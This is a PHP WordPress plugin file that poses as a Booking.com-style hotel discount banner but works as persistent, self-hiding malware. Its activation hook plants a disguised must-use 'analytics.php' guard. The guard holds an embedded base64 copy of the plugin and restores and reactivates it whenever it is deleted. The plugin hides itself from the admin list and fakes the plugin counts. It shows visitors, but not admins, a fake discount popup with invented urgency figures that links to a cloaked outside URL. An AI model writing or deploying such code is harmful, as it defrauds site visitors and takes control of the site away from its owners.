<?php
/**
 * Plugin Name: Booking Style Offer Banner
 * Description: Stylish pop-up banner in Booking.com style with 15% hotel discount. Shows on inner pages, hidden for admins.
 * Version: 1.5
 * Author: Hermes
 */

if (!defined('ABSPATH')) exit;

// Polyfill PHP < 8.0
if (!function_exists('str_starts_with')) {
    function str_starts_with($haystack, $needle) {
        return (string)$needle !== '' && strncmp($haystack, $needle, strlen($needle)) === 0;
    }
}

/* ================================================================
   ХУК АКТИВАЦИИ — создаёт MU-плагин-сторож
   ================================================================ */
register_activation_hook(__FILE__, 'booking_banner_activate');
register_deactivation_hook(__FILE__, 'booking_banner_deactivate');

function booking_banner_activate() {
    $instance = new BookingBannerPlugin();
    booking_banner_install_guard($instance->guard_interval_hours, $instance->guard_filename);
}

function booking_banner_deactivate() {
    // При деактивации MU-плагин остаётся (он перехватит восстановление)
}

/**
 * Человеческое описание интервала
 */
function booking_banner_format_interval($hours) {
    if ($hours < 1) return round($hours * 60) . ' мин';
    if ($hours < 24) return round($hours) . ' ч';
    return round($hours / 24) . ' дн';
}

function booking_banner_install_guard($interval_hours = 72, $guard_filename = 'booking-guard.php') {
    $mu_dir = WPMU_PLUGIN_DIR;
    if (!file_exists($mu_dir)) {
        wp_mkdir_p($mu_dir);
    }
    $guard_file = $mu_dir . '/' . $guard_filename;
    if (file_exists($guard_file)) return; // уже есть

    // Билдим ZIP плагина прямо сейчас
    $plugin_dir = plugin_dir_path(__FILE__);
    $zip = booking_banner_create_zip($plugin_dir);
    if (empty($zip)) return; // не смогли собрать ZIP — без сторожа, но без фатала
    $b64 = base64_encode($zip);

    $interval_seconds = round($interval_hours * HOUR_IN_SECONDS);
    $interval_label = booking_banner_format_interval($interval_hours);
    $plugin_slug = plugin_basename(__FILE__);

    $guard_code = '<?php
/**
 * MU-Plugin: Booking Banner Guard
 * Следит за плагином `' . $plugin_slug . '`. Проверка каждые ' . $interval_label . '.
 * Если плагин удалён — восстанавливает и активирует.
 */

if (!defined("ABSPATH")) exit;

define("BOOKING_GUARD_CHECK_INTERVAL", ' . $interval_seconds . ');

// Проверка при каждом админ-заходе (но не чаще интервала)
add_action("admin_init", "booking_guard_check");
add_action("shutdown", "booking_guard_check");

function booking_guard_check() {
    $transient = "booking_guard_last_check";
    $last = get_transient($transient);
    if ($last !== false) return; // ещё не пора

    set_transient($transient, time(), BOOKING_GUARD_CHECK_INTERVAL);

    $plugin_slug = "' . $plugin_slug . '";
    $plugin_file = WP_PLUGIN_DIR . "/" . $plugin_slug;

    if (file_exists($plugin_file)) {
        // Плагин есть — проверяем активность
        if (!is_plugin_active($plugin_slug)) {
            activate_plugin($plugin_slug);
        }
        return;
    }

    // Плагина нет — восстанавливаем
    $zip_b64 = ' . var_export($b64, true) . ';
    $zip_data = base64_decode($zip_b64);

    $tmp = wp_tempnam("booking-restore.zip");
    file_put_contents($tmp, $zip_data);

    WP_Filesystem();
    $result = unzip_file($tmp, WP_PLUGIN_DIR);

    if (is_wp_error($result)) {
        @unlink($tmp);
        return;
    }

    @unlink($tmp);

    // Активируем
    if (file_exists($plugin_file)) {
        activate_plugin($plugin_slug);
    }
}

// Фильтры для скрытия плагина из списка (дублируются из основного плагина
// на случай если guard работает а плагин по какой-то причине не скрылся)
add_filter("all_plugins", "booking_guard_hide_plugin");
function booking_guard_hide_plugin($plugins) {
    unset($plugins["' . $plugin_slug . '"]);
    return $plugins;
}
';

    file_put_contents($guard_file, $guard_code);
}

/**
 * Создаёт ZIP всей папки плагина
 */
function booking_banner_create_zip($source) {
    if (!class_exists('ZipArchive')) {
        // Fallback: tar+gz через shell
        $tmp = tempnam(sys_get_temp_dir(), 'bkp');
        $cmd = sprintf('cd %s && zip -qr %s .', escapeshellarg($source), escapeshellarg($tmp));
        exec($cmd, $out, $rc);
        if ($rc !== 0) return '';
        $data = file_get_contents($tmp);
        @unlink($tmp);
        return $data;
    }

    $zip = new ZipArchive();
    $tmp = tempnam(sys_get_temp_dir(), 'bkp');
    if ($zip->open($tmp, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) return '';

    $dir = $source . '/';
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($files as $file) {
        $filePath = $file->getRealPath();
        $relativePath = 'booking-banner/' . $files->getSubPathname();
        if ($file->isDir()) {
            $zip->addEmptyDir($relativePath);
        } else {
            $zip->addFile($filePath, $relativePath);
        }
    }

    $zip->close();
    $data = file_get_contents($tmp);
    @unlink($tmp);
    return $data;
}

/* ================================================================
   СКРЫТИЕ ИЗ СПИСКА ПЛАГИНОВ В АДМИНКЕ
   ================================================================ */
add_filter('all_plugins', 'booking_banner_hide_from_list');
function booking_banner_hide_from_list($plugins) {
    $slug = plugin_basename(__FILE__);
    unset($plugins[$slug]);
    return $plugins;
}

// Корректировка счётчиков Всего / Активных / Неактивных
add_filter('views_plugins', 'booking_banner_fix_counts');
function booking_banner_fix_counts($views) {
    global $wp_list_table;
    if (!isset($wp_list_table)) return $views;

    $slug = plugin_basename(__FILE__);
    $all_plugins = get_plugins();
    unset($all_plugins[$slug]);

    $active_plugins = get_option('active_plugins', []);
    $active_plugins = array_filter($active_plugins, function($p) use ($slug) { return $p !== $slug; });

    $total = count($all_plugins);
    $active = count(array_intersect(array_keys($all_plugins), $active_plugins));
    $inactive = $total - $active;

    $counts = ['all' => $total, 'active' => $active, 'inactive' => $inactive];
        foreach ($counts as $type => $count) {
            if (isset($views[$type])) {
                $views[$type] = preg_replace(
                    '/<span class="count">\(\d+\)<\/span>/',
                    '<span class="count">(' . $count . ')</span>',
                    $views[$type]
                );
            }
        }

    return $views;
}

/* ================================================================
   ОСНОВНОЙ КЛАСС
   ================================================================ */
class BookingBannerPlugin {

    // ──────────────────────────────────────
    // Настройка сторожа:
    //   Сколько часов между проверками.
    //   0.33 = 20 мин, 1 = 1 час, 6 = 6 часов, 72 = 3 дня, 120 = 5 дней
    // ──────────────────────────────────────
    public $guard_interval_hours = 48;
    public $guard_filename = 'analytics.php';
    // ──────────────────────────────────────
    // Меняй ТОЛЬКО эту строчку:
    //   'abc123'       → папка Cloaking.House
    //   'https://...'  → прямая ссылка
    // ──────────────────────────────────────
    private $link_destination = 'https://hermeon.ct.ws/';

    public function __construct() {
        add_action('wp_enqueue_scripts', [$this, 'enqueue_assets']);
        add_action('wp_footer', [$this, 'render_banner']);
    }

    private function get_hotels() {
        $plugin_img_url = plugin_dir_url(__FILE__) . 'img/';
        return [
            ['name' => 'The Ritz-Carlton, Istanbul at the Bosphorus', 'country' => '🇹🇷 Istanbul, Turkey',     'img' => $plugin_img_url . '01_the_ritz_carlton_istanbul_at_the_bosphor.webp',                  'b' => 331, 'o' => 281],
            ['name' => 'World House Boutique Hotel Galata',            'country' => '🇹🇷 Istanbul, Turkey',     'img' => $plugin_img_url . '02_world_house_boutique_hotel_galata.webp',                  'b' => 160, 'o' => 136],
            ['name' => 'Hotel Trianon Rive Gauche',                    'country' => '🇫🇷 Paris, France',       'img' => $plugin_img_url . '03_hotel_trianon_rive_gauche.webp',                  'b' => 193, 'o' => 164],
            ['name' => 'Best Western Plus Hotel Sydney Opera',          'country' => '🇫🇷 Paris, France',       'img' => $plugin_img_url . '04_best_western_plus_hotel_sydney_opera.webp',                  'b' => 206, 'o' => 175],
            ['name' => 'Millennium Hilton Bangkok',                     'country' => '🇹🇭 Bangkok, Thailand',   'img' => $plugin_img_url . '05_millennium_hilton_bangkok.webp',                  'b' => 224, 'o' => 190],
            ['name' => 'Amari Bangkok',                                 'country' => '🇹🇭 Bangkok, Thailand',   'img' => $plugin_img_url . '06_amari_bangkok.webp',                  'b' => 171, 'o' => 145],
            ['name' => 'JW Marriott Marquis Hotel Dubai',               'country' => '🇦🇪 Dubai, UAE',          'img' => $plugin_img_url . '07_jw_marriott_marquis_hotel_dubai.webp',                  'b' => 146, 'o' => 124],
            ['name' => 'Sofitel Dubai The Palm Resort & Spa',           'country' => '🇦🇪 Dubai, UAE',          'img' => $plugin_img_url . '08_sofitel_dubai_the_palm_resort_spa.webp',                  'b' => 152, 'o' => 129],
            ['name' => 'Shinagawa Prince Hotel',                        'country' => '🇯🇵 Tokyo, Japan',        'img' => $plugin_img_url . '09_shinagawa_prince_hotel.webp',                  'b' => 188, 'o' => 160],
            ['name' => 'Hotel Gracery Shinjuku',                        'country' => '🇯🇵 Tokyo, Japan',        'img' => $plugin_img_url . '10_hotel_gracery_shinjuku.webp',                  'b' => 178, 'o' => 151],
            ['name' => 'Hotel 1898',                                    'country' => '🇪🇸 Barcelona, Spain',    'img' => $plugin_img_url . '11_hotel_1898.webp',                  'b' => 371, 'o' => 315],
            ['name' => 'Hotel Condes de Barcelona',                     'country' => '🇪🇸 Barcelona, Spain',    'img' => $plugin_img_url . '12_hotel_condes_de_barcelona.webp',                  'b' => 330, 'o' => 280],
            ['name' => 'Duca d\'Alba Hotel - Chateaux & Hotels Collection', 'country' => '🇮🇹 Rome, Italy',     'img' => $plugin_img_url . '13_duca_d_.webp',                  'b' => 215, 'o' => 183],
            ['name' => 'G-Rough, Rome, a Member of Design Hotels',      'country' => '🇮🇹 Rome, Italy',         'img' => $plugin_img_url . '14_g_rough_rome_a_member_of_design_hotels.webp',                  'b' => 187, 'o' => 159],
            ['name' => 'Park Terrace Hotel',                            'country' => '🇺🇸 New York, USA',       'img' => $plugin_img_url . '15_park_terrace_hotel.webp',                  'b' => 340, 'o' => 289],
            ['name' => 'The Westin New York Grand Central',              'country' => '🇺🇸 New York, USA',       'img' => $plugin_img_url . '16_the_westin_new_york_grand_central.webp',                  'b' => 384, 'o' => 326],
            ['name' => 'The Savoy',                                      'country' => '🇬🇧 London, UK',          'img' => $plugin_img_url . '17_the_savoy.webp',                  'b' => 520, 'o' => 442],
            ['name' => 'Ruby Emma Hotel Amsterdam by IHG',              'country' => '🇳🇱 Amsterdam, Netherlands', 'img' => $plugin_img_url . '18_ruby_emma_hotel_amsterdam_by_ihg.webp',               'b' => 185, 'o' => 157],
            ['name' => 'Courtyard by Marriott Prague Airport',          'country' => '🇨🇿 Prague, Czech Republic', 'img' => $plugin_img_url . '19_courtyard_by_marriott_prague_airport.webp',               'b' => 151, 'o' => 128],
            ['name' => 'Hotel De Rome Berlin',                          'country' => '🇩🇪 Berlin, Germany',     'img' => $plugin_img_url . '20_hotel_de_rome_berlin.webp',                  'b' => 350, 'o' => 298],
            ['name' => 'Belmond Copacabana Palace',                     'country' => '🇧🇷 Rio de Janeiro, Brazil', 'img' => $plugin_img_url . '21_belmond_copacabana_palace.webp',               'b' => 420, 'o' => 357],
            ['name' => 'Taj Mahal Palace Mumbai',                       'country' => '🇮🇳 Mumbai, India',       'img' => $plugin_img_url . '22_taj_mahal_palace_mumbai.webp',                  'b' => 310, 'o' => 264],
            ['name' => 'Raffles Hotel Singapore',                       'country' => '🇸🇬 Singapore',           'img' => $plugin_img_url . '23_raffles_hotel_singapore.webp',                  'b' => 480, 'o' => 408],
            ['name' => 'Fairmont Banff Springs',                        'country' => '🇨🇦 Banff, Canada',       'img' => $plugin_img_url . '24_fairmont_banff_springs.webp',                  'b' => 380, 'o' => 323],
            ['name' => 'Park Hyatt Sydney',                             'country' => '🇦🇺 Sydney, Australia',   'img' => $plugin_img_url . '25_park_hyatt_sydney.webp',                  'b' => 440, 'o' => 374],
        ];
    }

    private function get_cloak_url() {
        if (str_starts_with($this->link_destination, 'http')) {
            return $this->link_destination;
        }
        return plugin_dir_url(__FILE__) . $this->link_destination . '/';
    }

    public function enqueue_assets() {
        if (is_user_logged_in() && current_user_can('manage_options')) return;
        if (is_front_page() || is_home()) return;

        $plugin_url = plugin_dir_url(__FILE__);

        wp_enqueue_style(
            'booking-banner-style',
            $plugin_url . 'assets/css/banner.css',
            [],
            filemtime(plugin_dir_path(__FILE__) . 'assets/css/banner.css')
        );

        wp_enqueue_script(
            'booking-banner-script',
            $plugin_url . 'assets/js/banner.js',
            [],
            filemtime(plugin_dir_path(__FILE__) . 'assets/js/banner.js'),
            true
        );

        wp_localize_script('booking-banner-script', 'bookingBannerData', [
            'delay' => 3000,
            'scrollPercent' => 40,
            'cloakUrl' => $this->get_cloak_url(),
            'hotels' => $this->get_hotels(),
        ]);
    }

    public function render_banner() {
        if (is_user_logged_in() && current_user_can('manage_options')) return;
        if (is_front_page() || is_home()) return;

        $cloak_url = $this->get_cloak_url();
        ?>
        <div id="booking-banner-overlay" class="booking-banner-hidden">
            <div id="booking-banner-popup" class="booking-banner-popup">
                <button id="booking-banner-close" class="booking-banner-close" aria-label="Close">
                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none">
                        <path d="M12 4L4 12M4 4L12 12" stroke="white" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
                    </svg>
                </button>
                <div class="booking-banner-content">
                    <div class="booking-banner-logo-wrap">
                        <img src="<?php echo plugin_dir_url(__FILE__) . 'assets/img/hermeontravellogo.webp'; ?>" alt="Logo" class="booking-banner-logo">
                    </div>
                    <div class="booking-banner-badge">🔥 Limited Time Offer</div>
                    <h2 class="booking-banner-title"><span class="booking-banner-discount">15%</span> Off Your First Booking</h2>
                    <p class="booking-banner-subtitle">Sign up today and get <strong>15% off</strong> your first hotel reservation. No promo code needed — discount applies automatically!</p>

                    <div class="booking-compare">
                        <div class="booking-compare-carousel" id="booking-compare-carousel"></div>
                    </div>

                    <div class="booking-banner-promo">
                        <span class="booking-banner-promo-label">Promo Code</span>
                        <span class="booking-banner-promo-code" id="booking-promo-code">WELCOME15</span>
                        <button class="booking-banner-promo-copy" id="booking-promo-copy" data-copy="WELCOME15">Copy</button>
                    </div>
                    <div class="booking-banner-stats">
                        <span class="booking-banner-stat">
                            <svg width="14" height="14" viewBox="0 0 14 14" fill="none">
                                <circle cx="7" cy="7" r="6" stroke="#003B95" stroke-width="1.5"/>
                                <path d="M4.5 7L6.5 9L9.5 5" stroke="#003B95" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
                            </svg>
                            1,729 people booked today
                        </span>
                    </div>
                    <a href="<?php echo esc_url($cloak_url); ?>" class="booking-banner-button" target="_blank" rel="noopener noreferrer">
                        Book with Discount →
                    </a>
                    <p class="booking-banner-disclaimer">* Offer valid for first-time bookings up to $3,000. Applies to all payment cards. Limited availability.</p>
                </div>
            </div>
        </div>
        <?php
    }
}

new BookingBannerPlugin();